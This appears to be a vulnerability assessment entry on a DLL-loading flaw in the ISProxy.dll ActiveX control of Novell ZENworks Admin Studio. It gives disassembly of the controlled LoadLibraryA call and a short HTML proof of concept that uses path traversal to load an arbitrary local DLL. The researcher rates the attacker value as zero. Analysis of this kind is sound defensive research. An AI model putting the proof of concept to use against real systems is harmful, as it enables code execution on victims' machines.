This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell ZENworks Admin Studio. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
Recent assessments:
wchen-r7 at September 12, 2019 6:07pm UTC reported:
The specific flaw exists within the ISProxy.dll ActiveX object. The ISCreateObject() method suffers from a directory vulnerability and it is also possible to break the search path through a null char. By combining the Initialize() and ISCreateObject() methods, an attacker can force the underlying operating system to load arbitrary dlls bypassing normal security restriction. This vulnerability allows an attacker to execute code under the context of the process.
(1) Legit Code Samples
var file = new ActiveXObject("ISProxy.Proxy");
file.ISCreateObject(document, "isutil.dll", "{A5CF09AF-F2FC-4E5D-9F7D-419D28130E62}");
var objMgr = new ActiveXObject("ISProxy.Proxy");
objMgr.ISCreateObject(document, "isobjmgr.dll", "{DE5FBA5D-8AB0-4a53-B620-F2065702D228}");
Form ISProxy.dll
.text:63371561 push eax ; lpPathName => C:\Documents and Settings\system
.text:63371562 call esi ; SetCurrentDirectoryA
.text:63371564 lea ecx, [ebp+var_38]
.text:63371567 mov byte ptr [ebp+var_4], 2
.text:6337156B call sub_6337186D
.text:63371570 lea ecx, [ebp+var_68]
.text:63371573 call sub_63372927
.text:63371578 push eax ; lpLibFileName => Controlled from the second arg
.text:63371579 call ds:LoadLibraryA
.text:6337157F mov edi, eax
.text:63371581 lea eax, [ebp+PathName]
.text:63371587 push eax ; lpPathName
.text:63371588 call esi ; SetCurrentDirectoryA
The next HTML will try to load c:\test.dll
<html>
<object classid='clsid:A1000F0F-9C12-4AB3-B195-02BE93328283' id='test'></object>
<script language='javascript'>
test.Initialize(document);
test.ISCreateObject(document, "..\\..\\test.dll", "A1000F0F-9C12-4AB3-B195-02BE93328283");
</script>
</html>
So the vulnerability, as explained by the ZDI advisory allows to load an arbitrary DLL from the underliying OS, but I dont see how to load it from an arbitrary remote location.
So in order to achieve remote code execution you need to plant a DLL previously in the targeted file system.
Assessed Attacker Value: 0
Assessed Attacker Value: 0Assessed Attacker Value: 0